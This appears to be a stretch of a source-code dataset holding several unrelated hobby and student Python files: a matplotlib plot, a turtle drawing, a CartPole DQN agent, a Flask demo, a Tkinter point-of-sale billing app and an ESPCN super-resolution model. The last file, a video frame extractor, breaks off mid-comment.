Zebranie danych z plików z rozszerzeniem .csv\n filepaths = []\n filenames = []\n for file in os.listdir(PATH_TO_CSV):\n if file.endswith(\".csv\"):\n filepaths.append(os.path.join(PATH_TO_CSV, file))\n filenames.append(file[:-4])\n\n # Rysowanie wykresów\n ax1 = plt.subplot(1, 2, 1)\n plt.xlabel(\"Rozegranych gier (x1000)\", fontsize=11)\n plt.ylabel(\"Odsetek wygranych gier [%]\", fontsize=11)\n\n ax2 = plt.subplot(1, 2, 2)\n ax2_data = {}\n\n i = 0\n for path in filepaths:\n data = get_data(path)\n ax1.plot(data['x'], data['y'],\n f'{COLORS[i]}{MARKERS[i]}', ls='-', ms=6.5, markevery=25, markeredgecolor='black')\n ax1.legend([NAMES.get(filename, filename) for filename in filenames])\n ax2_data[filenames[i]] = data['last'] \n i += 1\n\n \n ax1.set_xlim(xmin=0, xmax=500)\n ax1.grid(color='lightblue', linestyle='dotted')\n secax = ax1.secondary_xaxis('top', functions=(pokolenie, gry))\n secax.set_ticks(np.arange(0, 201, 40))\n secax.set_xlabel('Pokolenie', fontsize=11)\n\n ax2.boxplot(\n [ax2_data[filename] for filename in filenames],\n labels=[NAMES.get(filename, filename) for filename in filenames],\n notch=True,\n showmeans=True,\n boxprops=dict(color=\"blue\"),\n flierprops = dict(marker='+', markeredgecolor='blue', markersize=6),\n medianprops = dict(color='red'),\n meanprops = dict(marker='o', markeredgecolor='black',\n markerfacecolor='blue', markersize=4),\n whiskerprops = dict(linestyle='dashed', color='blue')\n )\n\n ax2.set_ylim(ymin=60, ymax=100)\n ax2.yaxis.tick_right()\n plt.xticks(rotation=25)\n ax2.grid(color='lightblue', linestyle='dotted')\n\n plt.tight_layout()\n plt.savefig('myplot.pdf')\n plt.show()\n plt.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Endrju00/PUT-KCK","sub_path":"lab1/wykresy.py","file_name":"wykresy.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"pl","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3293193737","text":"import turtle \r\n\r\n\r\n# def smallturtle():\r\n \r\n# Circles = turtle.Turtle()\r\n# #def mycircles1():\r\n# for i in range(7):\r\n# Circles.circle(7*i)\r\n\r\n# turtle.done()\r\n\r\n# import turtle \r\n#--------------------------------------------------\r\n# Problem with above code\r\n# In the original code, the smallturtle() function was defined but never called, and the turtle.done() statement was placed outside of the function. Also, the commented out mycircles1() function is not needed for this particular code.\r\n\r\n# Solution\r\n# To fix these issues, I moved the turtle.done() statement inside the smallturtle() function, and added a call to smallturtle() before it. This ensures that the function is executed and the circles are drawn before the program exits.\r\n\r\ndef smallturtle():\r\n Circles = turtle.Turtle()\r\n for i in range(7):\r\n Circles.circle(7*i)\r\n\r\nsmallturtle()\r\n\r\nturtle.done()\r\n\r\n\r\n\r\n","repo_name":"johnmeniwilliams/20210689ResearchRepository","sub_path":"RomanTurtleAssessment/SpiralTurtletestA.py","file_name":"SpiralTurtletestA.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35147735337","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom collections import deque\nimport gym\nimport numpy as np\nimport copy\nimport random\nimport torch.optim as optim\nfrom torch.utils.tensorboard import SummaryWriter\nwriter = SummaryWriter()\n\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n###### HYPERPARAMETERS############\nLR = 0.01\nBUFFER_SIZE = 2000\nBATCH_SIZE = 64\nGAMMA = 0.99\nNUM_EPISODES = 1000\nEPSILON = 0.5\nPOLYAK_CONSTANT = 0.95\n##################################\n\nclass MLP(nn.Module):\n def __init__(self, input_layer_size:int, hidden_layers:list, last_relu=False) -> None:\n super().__init__()\n self.layers = []\n self.layers.append(nn.Linear(input_layer_size, hidden_layers[0]))\n self.layers.append(nn.ReLU())\n for i in range(len(hidden_layers)-1):\n if i != (len(hidden_layers)-2):\n self.layers.append(nn.Linear(hidden_layers[i], hidden_layers[i+1]))\n self.layers.append(nn.ReLU())\n elif last_relu:\n self.layers.append(nn.Linear(hidden_layers[i], hidden_layers[i+1]))\n self.layers.append(nn.ReLU())\n else:\n self.layers.append(nn.Linear(hidden_layers[i], hidden_layers[i+1]))\n self.network = nn.Sequential(*self.layers)\n \n def forward(self, x):\n x = self.network(x)\n return x\n\nclass ExperienceReplay:\n def __init__(self, max_capacity) -> None:\n self.list = deque(maxlen = max_capacity)\n\n def insert(self, val) -> None:\n self.list.append(val)\n\n def __len__(self):\n return len(self.list)\n\n def sample_batch(self, batch_size:int):\n sample = random.sample(self.list, batch_size)\n current_state, reward, action, next_state, done = zip(*sample)\n \n current_state = np.array(current_state)\n reward = np.array(reward).reshape(-1, 1)\n action = np.array(action).reshape(-1, 1)\n next_state = np.array(next_state)\n done = np.array(done).reshape(-1, 1)\n \n return current_state, reward, action, next_state, done \n\nclass DQN(nn.Module):\n def __init__(self, input_layer_size:int, hidden_layers:list):\n super(DQN, self).__init__() \n self.linear_stack = MLP(input_layer_size, hidden_layers)\n \n def forward(self, x):\n x = self.linear_stack(x)\n return x \n\nclass DQNAgent:\n def __init__(self, input_size, hidden_layers, max_capacity) -> None:\n # initializing the env\n self.env = gym.make(\"CartPole-v1\")\n \n # declaring the network\n self.model = DQN(input_size, hidden_layers).to(device)\n # initializing weights using xavier initialization\n self.model.apply(self.xavier_init_weights)\n\n \n #initializing the fixed targets\n self.fixed_targets = DQN(input_size, hidden_layers).to(device)\n self.fixed_targets.load_state_dict(self.model.state_dict())\n \n\n # initalizing the replay buffer\n self.experience_replay = ExperienceReplay(int(max_capacity))\n\n # variable to keeo count of the number of steps that has occured\n self.steps = 0\n\n self.optimizer = torch.optim.Adam(self.model.parameters(), lr=LR)\n self.loss_fn = nn.MSELoss()\n self.gamma = GAMMA\n self.total_reward = 0\n\n def xavier_init_weights(self, m):\n if type(m) == nn.Linear:\n nn.init.xavier_uniform_(m.weight)\n\n def preprocess_observation(self, obs, MAX_OBSERVATION_LENGTH):\n \"\"\"\n To pad zeros to the observation if its length is less than the maximum observation size.\n \"\"\"\n zer = np.zeros(MAX_OBSERVATION_LENGTH-obs.shape[0])\n obs = np.concatenate((obs,zer))\n return obs\n \n \n def discrete_to_continuous_action(self, action:int):\n \"\"\"\n Function to return a continuous space action for a given discrete action\n \"\"\"\n if action == 0:\n # move forward with full speed\n return np.array([1, 0], dtype=np.float32) # gives only linear velocity\n \n elif action == 1:\n # move forward with half speed\n return np.array([0, 0], dtype=np.float32) # gives only linear velocity\n\n elif action == 2:\n # turn leftwards\n return np.array([-1, np.pi/4], dtype=np.float32) # gives only angular velocity in the counter-clockwise direction\n \n elif action == 3:\n # turn rightwards\n return np.array([-1, -np.pi/4], dtype=np.float32) # gives only angular velocity in the counter-clockwise direction\n \n else:\n raise NotImplementedError\n\n def get_action(self, current_state, epsilon):\n \n if np.random.random() > epsilon:\n # exploit\n with torch.no_grad():\n q = self.model(torch.from_numpy(current_state).reshape(1, -1).float().to(device))\n action_discrete = torch.argmax(q).item()\n action_continuous = self.discrete_to_continuous_action(action_discrete)\n return action_continuous, action_discrete\n \n else:\n # explore\n act = np.random.randint(0, 2)\n return self.discrete_to_continuous_action(act), act\n \n def save_model(self, path):\n torch.save(self.duelingDQN.state_dict(), path)\n\n def train(\n self,\n num_episodes=NUM_EPISODES,\n epsilon=EPSILON,\n batch_size=BATCH_SIZE,\n gamma=GAMMA,\n lr = LR,\n polyak_const=POLYAK_CONSTANT,\n render=False,\n save_path = \"./models/dqn\",\n render_freq = 500,\n save_freq = 500,\n preprocess = False,\n env_type=\"discrete\",\n ):\n assert(env_type == \"discrete\" or env_type == \"continuous\"), \"env_type can be either \\\"discrete\\\" or \\\"continuous\\\"\"\n total_reward = 0\n loss_fn = nn.MSELoss()\n optimizer = optim.Adam(self.model.parameters(), lr=lr)\n prev_steps = 0\n \n for i in range(num_episodes):\n # resetting the environment before the episode starts\n current_state = self.env.reset()\n\n # preprocessing the observation\n if preprocess:\n current_state = self.preprocess_observation(current_state, self.env.observation_space.shape[0])\n \n # initializing episode related variables\n done = False\n episode_reward = 0\n episode_loss = 0\n total_grad_norm = 0\n has_reached_goal = False\n\n while not done:\n # sampling an action from the current state\n action_continuous, action_discrete = self.get_action(current_state, epsilon)\n \n # taking a step in the environment\n if env_type == \"continuous\":\n next_obs, reward, done, _ = self.env.step(action_continuous)\n elif env_type == \"discrete\":\n next_obs, reward, done, _ = self.env.step(action_discrete)\n\n # incrementing total steps\n self.steps += 1\n\n # preprocessing the observation, i.e padding the observation with zeros if it is lesser than the maximum size\n if preprocess:\n next_obs = self.preprocess_observation(next_obs, self.env.observation_space.shape[0])\n \n # rendering if reqd\n if render and ((i+1) % render_freq == 0):\n self.env.render()\n\n # storing the rewards\n episode_reward += reward\n\n # storing whether the agent reached the goal\n if reward == 1 and done == True:\n has_reached_goal = True\n\n # storing the current state transition in the replay buffer. \n self.experience_replay.insert((current_state, reward, action_discrete, next_obs, done))\n\n\n\n if len(self.experience_replay) > batch_size:\n # sampling mini-batch from experience replay\n curr_state, rew, act, next_state, d = self.experience_replay.sample_batch(batch_size)\n fixed_target_value = torch.max(self.fixed_targets(torch.from_numpy(next_state).float().to(device)), dim=1, keepdim=True).values\n fixed_target_value = fixed_target_value * (~torch.from_numpy(d).bool().to(device))\n target = torch.from_numpy(rew).float().to(device) + gamma*fixed_target_value\n\n q_from_net = self.model(torch.from_numpy(curr_state).float().to(device))\n act_tensor = torch.from_numpy(act).long().to(device)\n prediction = torch.gather(input=q_from_net, dim=1, index=act_tensor)\n\n # loss using MSE\n loss = loss_fn(target, prediction)\n episode_loss += loss.item()\n\n # backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n\n # setting the current observation to the next observation for the next step\n current_state = next_obs\n\n # updating the fixed targets using polyak update\n with torch.no_grad():\n for p_target, p in zip(self.fixed_targets.parameters(), self.model.parameters()):\n p_target.data.mul_(polyak_const)\n p_target.data.add_((1 - polyak_const) * p.data)\n \n total_reward += episode_reward\n\n # decaying epsilon\n epsilon -= (0.1)*epsilon\n\n if has_reached_goal: \n goal = 1\n else: goal = 0\n\n # calculating the number of steps taken in the episode\n steps = self.steps - prev_steps\n\n prev_steps = self.steps\n\n # plotting using tensorboard\n print(f\"Episode {i+1} Reward: {episode_reward} Avg. Loss: {episode_loss/batch_size}\")\n \n writer.add_scalar(\"reward / epsiode\", episode_reward, i)\n writer.add_scalar(\"loss / episode\", episode_loss, i)\n writer.add_scalar(\"exploration rate / episode\", epsilon, i)\n writer.add_scalar(\"total grad norm / episode\", epsilon, i)\n writer.add_scalar(\"ending in sucess? / episode\", goal, i)\n writer.add_scalar(\"Steps to reach goal / episode\", steps, i)\n writer.flush()\n\n # saving model\n if (save_path is not None) and ((i+1)%save_freq == 0):\n try:\n self.save_model(save_path + \"_episode\"+ str(i+1) + \".pth\")\n except:\n print(f\"Path {save_path} does not exist!\")\n\n \nif __name__ == \"__main__\":\n model = DQNAgent(4, [50, 2], BUFFER_SIZE)\n model.train(render=True, render_freq=1, save_path=None)\n","repo_name":"sushant1212/Reinforcement-Learning","sub_path":"DQN.py","file_name":"DQN.py","file_ext":"py","file_size_in_byte":10980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71160229316","text":"from flask import Flask\nfrom flask import request\n\n# 命令行中使用from test import app\n# app.url_map 来查看URL映射\n# URL中都有HEAD,OPTIONS,GET请求方法,其中HEAD,OPTIONS由路由flask自动处理\n\n\napp=Flask(__name__)\n\n# 处理URL和函数之间关系的程序成为路由\n# 装饰器的惯用法是把函数注册为事件处理程序,再特定时间发生时调用\n# 把index()函数注册为应用根地址的处理程序\n@app.route('/')\ndef index():\n # 把request当作全局变量使用,使用上下文使request接受到的变量变为全局可访问\n # flask从客户端收到请求时,要让视图函数能访问一些对象,来处理请求\n # Flask 上下文全局变量 current_app g request session\n # request 请求对象,分装了客户端发出的http请求中的内容\n user_agent = request.headers.get('User-Agent') # 获取浏览器属性\n return '

Your browser is {}

'.format(user_agent)\n\n# 使路由中的一部分可变 \n# 路由URL中放在尖括号的内容就是动态部分,任何能匹配静态部分的URL都会映射到这个路由上 \n# 调用试图函数时Flask会将动态部分作为参数传入函数\n@app.route('/user/')\ndef user(name):\n return '

Hello, {}!

'.format(name)\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=19722, debug=True)\n # 或者通过命令启动\n # export FLASK_APP=test.py\n # flask run\n # 开启调试模式 export FLASK_DEBUG=1\n","repo_name":"liukai234/python_course_record","sub_path":"python_web/flasky/door.py","file_name":"door.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3518613113","text":"from mi_Error import *\n\n# Diagnostic\nimport pdb\nfrom pprint import pprint as pp\n\nclass List_Region:\n \"\"\"Delimited List Region\n \"\"\"\n def __init__( self, template, delimiter ):\n self.template = template\n self.delimiter = delimiter\n # Assume one empty set of lines before the first expansion block\n self.assembly = []\n\n def interstitial( self, filled_out_line ):\n \"\"\"Buffer a filled out line before the next expansion block\n \"\"\"\n self.assembly.append( { 'iline' : filled_out_line } )\n\n def add_block( self, eblock ):\n \"\"\"Add newly created expansion block to be flushed and/or trimmed later.\n \"\"\"\n self.assembly.append( {'eblock' : eblock } )\n\n def terminate( self ):\n \"\"\"Trim the last block and then flush them all to the target, if any\n \"\"\"\n # Find the last block, and if found, trim its final delimiter\n for b in reversed( self.assembly ):\n if 'eblock' in b:\n b['eblock'].trim( self.delimiter )\n break\n for b in self.assembly:\n if 'eblock' in b:\n b['eblock'].flush()\n else:\n self.template.target.lines.append( b['iline'] )\n # Delete self\n self.template.list_region = None\n\nif __name__ == '__main__':\n print( \"Cannot be run from the command line.\" )\n","repo_name":"miuml/mi_Postgresql_Function_Code_Generator","sub_path":"Code Gen/mi_List_Region.py","file_name":"mi_List_Region.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73881793153","text":"from tkinter import *\nimport random,os\nfrom tkinter import ttk\nfrom PIL import Image, ImageTk\nfrom tkinter import messagebox\nimport tempfile\n\ndtl = []\nclass Pos:\n\n def __init__(self, root):\n self.root = root\n self.root.geometry(\"1530x800+0+0\")\n self.root.title(\"POS System\")\n\n # self.category_list={'title':['Select Option','Laptop','Phone'],\n # 'Laptop':{'name':['Acer','Lenovo','Dell','MSC','Mac book'],'price':[4000,7000,5000,6000,7000]},\n # 'Phone':{'name':['Samsung','Huawei','I phone','Mi','Redmi','Xiomi','Mi'],'price':[4000,7000,5000,6000,7000]}}\n # self.one={}\n # self.two={}\n # double=[self.category_list,self.one,self.two]\n # title=['Select Option','Laptop','Phone']\n # cate=[['Select Option','Laptop','Phone'],['Acer','Lenovo','Dell','MSC','Mac book'],[4000,7000,5000,6000,7000],['Samsung','Huawei','I phone','Mi','Redmi','Xiomi','Mi'],[4000,7000,5000,6000,7000]]\n\n self.c_name=StringVar()\n self.c_phno=StringVar()\n self.c_address=StringVar()\n self.bill_no=StringVar()\n z=random.randint(1000,9999)\n self.bill_no.set(z)\n self.search_bill=StringVar()\n self.product=StringVar()\n self.prices=IntVar()\n self.qty=IntVar()\n self.sub_total=StringVar()\n self.txt_input=StringVar()\n self.total=StringVar()\n\n self.categorytxt = ['Select Option', 'Laptop', 'Phone']\n self.subcatlap = ['Acer', 'Lenovo', 'Dell', 'Mac book']\n self.acer_price = 50000\n self.lenovo_price = 60000\n self.dell_price = 70000\n self.mac_price = 80000\n self.subcatph = ['Samsung', 'Huawei', 'I phone', 'Redmi']\n self.sam_price = 50000\n self.huawei_price = 60000\n self.i_price = 70000\n self.red_price = 80000\n self.color=['white','black','silver']\n\n # mainframe\n mainframe = Frame(self.root, bd=5, relief=GROOVE, bg=\"white\")\n mainframe.place(x=0, y=175, width=1530, height=620)\n #image\n wood = Image.open(\"C:\\\\Users\\\\Acer Swift 3\\\\Downloads\\\\wood.png\")\n wood = wood.resize((1908,170), Image.LANCZOS)\n self.wood = ImageTk.PhotoImage(wood)\n wood_lbl=Label(self.root,image=self.wood)\n wood_lbl.place(x=0,y=0,)\n b = Image.open(\"C:\\\\Users\\\\Acer Swift 3\\\\Downloads\\\\wood.png\")\n b = b.resize((997, 330), Image.LANCZOS)\n self.b = ImageTk.PhotoImage(b)\n b_lbl = Label(self.root, image=self.b)\n b_lbl.place(x=3, y=328, )\n # customer_detail_frame\n customerframe = LabelFrame(mainframe, text=\"Customer detail\", font=(\"times new roman\", 12, \"bold\"), bg=\"white\",fg=\"grey\")\n customerframe.place(x=10, y=5, width=350, height=140)\n cu_detail = [\"Name\", \"Address\", \"Phone Number\"]\n vlist=[self.c_name,self.c_address,self.c_phno]\n\n for j in range(0, 3):\n self.cu_detil = Label(customerframe, text=cu_detail[j], font=(\"times new roman\", 12, \"bold\"), bg=\"white\")\n self.cu_detil.grid(row=j, column=0, sticky=W, pady=2)\n self.entry = ttk.Entry(customerframe,textvariable=vlist[j], font=(\"times new roman\", 12, \"bold\"), width=24)\n # dtl.append(self.entry.get())\n self.entry.grid(row=j, column=1)\n\n # product detail frame\n productframe = LabelFrame(mainframe, text=\"Product Detail\", font=(\"times new roman\", 12, \"bold\"), bg=\"white\",fg=\"grey\")\n productframe.place(x=370, y=5, width=620, height=140)\n\n #category\n self.category = Label(productframe, font=('arial', 12, 'bold'), bg='white', text='Select Categories', bd=4)\n self.category.grid(row=0, column=0, sticky=W, padx=5, pady=2)\n self.combo_category = ttk.Combobox(productframe, values=self.categorytxt, font=('arial', 10, 'bold'), width=24,state='readonly')\n self.combo_category.current(0)\n self.combo_category.grid(row=0, column=1)\n self.combo_category.bind(\"<>\",self.Categories)\n #subcategory\n self.subcategory = Label(productframe, font=('arial', 12, 'bold'), bg='white', text='Sub category', bd=4)\n self.subcategory.grid(row=1, column=0, sticky=W, padx=5, pady=2)\n self.combo_subcategory = ttk.Combobox(productframe,textvariable=self.product, values=[''], font=('arial', 10, 'bold'), width=24,state='readonly')\n self.combo_subcategory.current(0)\n self.combo_subcategory.grid(row=1, column=1)\n self.combo_subcategory.bind(\"<>\", self.Price)\n #color\n self.category2 = Label(productframe, font=('arial', 12, 'bold'), bg='white', text=\"Color\", bd=4)\n self.category2.grid(row=2, column=0, sticky=W, padx=5, pady=2)\n self.combo_category2 = ttk.Combobox(productframe, values=self.color, font=('arial', 10, 'bold'), width=24,state='readonly')\n self.combo_category2.current(0)\n self.combo_category2.grid(row=2, column=1)\n #price\n self.price_lbl = Label(productframe, font=('arial', 12, 'bold'), bg='white', text=\"Price\", bd=4)\n self.price_lbl.grid(row=1, column=2, sticky=W, padx=5, pady=2)\n self.combo_price = ttk.Combobox(productframe,textvariable=self.prices, font=('arial', 10, 'bold'), width=24, state='readonly')\n self.combo_price.grid(row=1, column=3)\n #qty\n self.qty_lbl = Label(productframe, font=('arial', 12, 'bold'), bg='white', text=\"Qty\", bd=4)\n self.qty_lbl.grid(row=2, column=2, sticky=W, padx=5, pady=2)\n self.combo_qty = ttk.Combobox(productframe,textvariable=self.qty, font=('arial', 10, 'bold'), width=24, state='readonly')\n self.combo_qty.grid(row=2, column=3)\n\n # bill frame\n billframe = LabelFrame(mainframe, text=\"Billing area\", font=(\"times new roman\", 12, \"bold\"), bg=\"white\",\n fg=\"grey\")\n billframe.place(x=1000, y=45, width=480, height=440)\n scroll = Scrollbar(billframe, orient=VERTICAL)\n self.textarea = Text(billframe, yscrollcommand=scroll.set, bg=\"white\", font=(\"times new roman\", 12, \"bold\"))\n scroll.pack(side=RIGHT, fill=Y)\n scroll.config(command=self.textarea.yview)\n self.textarea.pack(fill=BOTH, expand=1)\n\n # bill counter frame\n billcounterframe = LabelFrame(mainframe, text=\"Bill counter\", font=(\"times new roman\", 12, \"bold\"), bg=\"white\",\n fg=\"grey\")\n billcounterframe.place(x=0, y=485, width=1520, height=120)\n bill = [\"Sub Total\", \"Government Tax\", \"Total\"]\n textvr=[self.sub_total,self.txt_input,self.total]\n for j in range(0, 3):\n self.cu_detil = Label(billcounterframe, text=bill[j], font=(\"times new roman\", 12, \"bold\"), bg=\"white\")\n self.cu_detil.grid(row=j, column=0, sticky=W, pady=2)\n self.entry = ttk.Entry(billcounterframe,textvariable=textvr[j], font=(\"times new roman\", 12, \"bold\"), width=24)\n self.entry.grid(row=j, column=1)\n\n # buttonFrame\n buttonframe = Frame(billcounterframe, bd=2, )\n buttonframe.place(x=420, y=10)\n btlist = ['Add to cart','Generate Bill', 'Save', 'Clear']#,'Print'\n com_list=[self.AddItem,self.gen_bill,self.save_bill,self.clear]#,self.iprint()\n for i in range(0, 4):\n self.cart_b = Button(buttonframe,command=com_list[i], height=2, width=20, cursor=\"hand2\", text=btlist[i],\n font=('arial', 15, 'bold'), bg=\"black\", fg=\"white\")\n self.cart_b.grid(row=0, column=i)\n\n # search\n searchframe = Frame(mainframe, bd=2, bg=\"white\")\n searchframe.place(x=1020, y=5, width=500, height=40)\n\n self.billnumber = Label(searchframe, font=('arial', 10, 'bold'), fg='black', bg='grey', text=\"Bill Number\", )\n self.billnumber.grid(row=0, column=0, sticky=W, padx=1)\n\n self.searchentry = ttk.Entry(searchframe,textvariable=self.search_bill, font=('arial', 10, 'bold'), width=30)\n self.searchentry.grid(row=0, column=1)\n\n self.searchbt = Button(searchframe, height=1, cursor=\"hand2\", text=\"Search\", font=('arial', 10, 'bold'),\n bg=\"black\", fg=\"white\",command=self.find_bill, )\n self.searchbt.grid(row=0, column=2, padx=2)\n self.l = []\n self.welcome()\n\n def find_bill(self):\n found=\"no\"\n for i in os.listdir(\"bills/\"):\n if i.split('.')[0]==self.search_bill.get():\n f1=open(f'bills/{i}','r')\n self.textarea.delete(1.0,END)\n for d in f1:\n self.textarea.insert(END,d)\n f1.close()\n found=\"yes\"\n\n if found=='no':\n messagebox.showerror(\"Error\",\"Invalid BIill No\")\n\n\n def AddItem(self):\n Tax=1\n self.n=self.prices.get()\n self.m=self.qty.get()*self.n\n self.l.append(self.m)\n if self.product.get()==\"\":\n messagebox.showerror(\"Error\",\"Please select the product name\")\n else:\n self.textarea.insert(END,f\"\\n\\t{self.product.get()}\\t\\t{self.qty.get()}\\t\\t{self.m}\")\n self.sub_total.set(str('Rs.%.2f'%(sum(self.l))))\n #self.txt_input.set(str('Rs.%.2f'%((((sum(self.l))-(self.prices.get()))*Tax)/100)))\n self.txt_input.set(str('Rs.%.2f' % ((sum(self.l)*0.05))))\n self.total.set(str('Rs.%.2f' % (((sum(self.l) +(sum(self.l) * 0.05))))))\n # self.total.set(str('Rs.%.2f'%(((sum(self.l)+((((sum(self.l))-(self.prices.get()))*Tax)/100))))))\n\n def save_bill(self):\n op=messagebox.askyesno(\"Save Bill\",\"Do u want to save the Bill\")\n if op>0:\n self.bill_data=self.textarea.get(1.0,END)\n f1=open(str(\"C:\\\\Users\\\\Acer Swift 3\\\\PycharmProjects\\\\posimage\\\\venv\\\\bills\\\\\"+self.bill_no.get()+'.txt'),\"w\")\n f1.write(self.bill_data)\n op=messagebox.showinfo(\"Saved\",f\"Bill No:{self.bill_no.get()} saved successfully\")\n f1.close()\n def iprint(self):\n pass\n # q=self.textarea.get(1.0,\"end-1c\")\n # filename=tempfile.mktemp('.txt')\n # open(filename,\"w\").write(q)\n # os.startfile(filename,\"print\")\n\n def clear(self):\n self.textarea.delete(1.0,END)\n self.c_name.set(\"\")\n self.c_phno.set(\"\")\n self.c_address.set(\"\")\n self.product.set(\"\")\n x=random.randint(1000,9999)\n self.bill_no.set(x)\n self.l=[0]\n self.search_bill.set(\"\")\n self.prices.set(\"\")\n self.qty.set(\"\")\n self.total.set(\"\")\n self.sub_total.set(\"\")\n self.txt_input.set(\"\")\n self.welcome()\n def welcome(self):\n self.textarea.delete(1.0,END)\n self.textarea.insert(END, \"\\n\\t\\t Welcome Royal Pos System\")\n self.textarea.insert(END, f\"\\n\\n\\tBill Number\\t\\t: {self.bill_no.get()}\")\n self.textarea.insert(END, f\"\\n \\tCustomer Name\\t\\t: {self.c_name.get()}\")\n self.textarea.insert(END, f\"\\n \\tPhone NUmber\\t\\t: {self.c_phno.get()}\")#\n self.textarea.insert(END, f\"\\n \\tAddress\\t\\t: {self.c_address.get()}\")#\n self.textarea.insert(END,\"\\n \\t=======================================\")\n self.textarea.insert(END, \"\\n\\tProduct Name \\t\\tQTY\\t\\tPrice\")\n self.textarea.insert(END, \"\\n\\t=======================================\")\n\n def gen_bill(self):\n if self.product.get()==\"\" :\n messagebox.showerror(\"Error\",\"Please select the product name\")\n else:\n text=self.textarea.get(10.0,(10.0+float(len(self.l))))\n self.welcome()\n self.textarea.insert(END,text)\n self.textarea.insert(END, \"\\n \\t=======================================\")\n self.textarea.insert(END, f\"\\n \\tSub Amount:\\t\\t\\t\\t{self.sub_total.get()}\")\n self.textarea.insert(END, f\"\\n \\tTax Amount:\\t\\t\\t\\t{self.txt_input.get()}\")\n self.textarea.insert(END, f\"\\n \\tTotal Amount:\\t\\t\\t\\t{self.total.get()}\")\n self.textarea.insert(END, \"\\n \\t=======================================\")\n\n def Categories(self,event=\"\"):\n if self.combo_category.get()=='Laptop':\n self.combo_subcategory.config(values=self.subcatlap)\n self.combo_subcategory.current(0)\n\n if self.combo_category.get()=='Phone':\n self.combo_subcategory.config(values=self.subcatph)\n self.combo_subcategory.current(0)\n\n\n def Price(self,event=\"\"):\n #laptop\n if self.combo_subcategory.get()==\"Acer\":\n self.combo_price.config(values=self.acer_price)\n self.combo_price.current(0)\n self.qty.set(1)\n\n if self.combo_subcategory.get()==\"Lenovo\":\n self.combo_price.config(values=self.lenovo_price)\n self.combo_price.current(0)\n self.qty.set(1)\n\n if self.combo_subcategory.get()==\"Dell\":\n self.combo_price.config(values=self.dell_price)\n self.combo_price.current(0)\n self.qty.set(1)\n\n if self.combo_subcategory.get()==\"Mac book\":\n self.combo_price.config(values=self.mac_price)\n self.combo_price.current(0)\n self.qty.set(1)\n #phone\n if self.combo_subcategory.get()==\"Samsung\":\n self.combo_price.config(values=self.sam_price)\n self.combo_price.current(0)\n self.qty.set(1)\n\n if self.combo_subcategory.get()==\"Huawei\":\n self.combo_price.config(values=self.huawei_price)\n self.combo_price.current(0)\n self.qty.set(1)\n\n if self.combo_subcategory.get()==\"I phone\":\n self.combo_price.config(values=self.i_price)\n self.combo_price.current(0)\n self.qty.set(1)\n\n if self.combo_subcategory.get()==\"Redmi\":\n self.combo_price.config(values=self.red_price)\n self.combo_price.current(0)\n self.qty.set(1)\n # save = Image.open(\"C:\\\\Users\\\\Acer Swift 3\\\\Downloads\\\\save.png\")\n # clear = Image.open(\"C:\\\\Users\\\\Acer Swift 3\\\\Downloads\\\\clear.png\")\n # cart = Image.open(\"C:\\\\Users\\\\Acer Swift 3\\\\Downloads\\\\cart.png\")\n # save = save.resize((80, 80), Image.LANCZOS)\n # clear = clear.resize((80, 80), Image.LANCZOS)\n # self.cart = cart.resize((10, 10), Image.LANCZOS)\n # save = ImageTk.PhotoImage(save)\n # clear = ImageTk.PhotoImage(clear)\n # self.cart = ImageTk.PhotoImage(cart)\n # self.cart_b = Button(mainframe, image=self.cart, height=80, width=80, ).place(x=100,y=300,)\n # clear_b = Button(mainframe, image=clear, height=280, width=190, ).grid(row=1, column=1, padx=5, pady=5)\n # save_b = Button(mainframe, image=save, height=280, width=190, ).grid(row=1, column=1, padx=5, pady=5)\n\n\n# cart/save bill/clear/\n\n\nif __name__ == '__main__':\n root = Tk()\n obj = Pos(root)\n root.mainloop()\n","repo_name":"yenaythway/Point_of_sale","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":14947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42833110933","text":"import math\nfrom torch import nn\nimport torch\n\ndef make_model(args, parent=False):\n return ESPCN(args)\n\nclass ESPCN(nn.Module):\n def __init__(self, args, num_channels=1):\n super(ESPCN, self).__init__()\n self.first_part = nn.Sequential(\n nn.Conv2d(args.n_colors, 64, kernel_size=5, padding=5//2),\n nn.Tanh(),\n nn.Conv2d(64, 32, kernel_size=3, padding=3//2),\n nn.Tanh(),\n )\n self.last_part = nn.Sequential(\n nn.Conv2d(32, args.n_colors * (int(args.scale) ** 2), kernel_size=3, padding=3 // 2),\n nn.PixelShuffle(int(args.scale) )\n )\n\n self._initialize_weights()\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n if m.in_channels == 32:\n nn.init.normal_(m.weight.data, mean=0.0, std=0.001)\n nn.init.zeros_(m.bias.data)\n else:\n nn.init.normal_(m.weight.data, mean=0.0, std=math.sqrt(2/(m.out_channels*m.weight.data[0][0].numel())))\n nn.init.zeros_(m.bias.data)\n\n def forward(self, x):\n x = self.first_part(x)\n x = self.last_part(x)\n x = torch.clamp(x, min=0.0, max=1.0)\n return x","repo_name":"Bob-Yeah/Kernel-Supersampling","sub_path":"model/espcn.py","file_name":"espcn.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25767810119","text":"import cv2 as cv\nfrom typing import List\nfrom PIL import Image\nimport os\n\n\ndef outFrame(filepath: str, posMsec: int, outFilepath: str) -> None:\n \"\"\"\n Extracts a frame from a video when given the position in milliseconds\n and is copied to outFilePath\n \"\"\"\n cap = cv.VideoCapture(filepath)\n # CAP_PROP_FRAME_COUNT - ordinal of 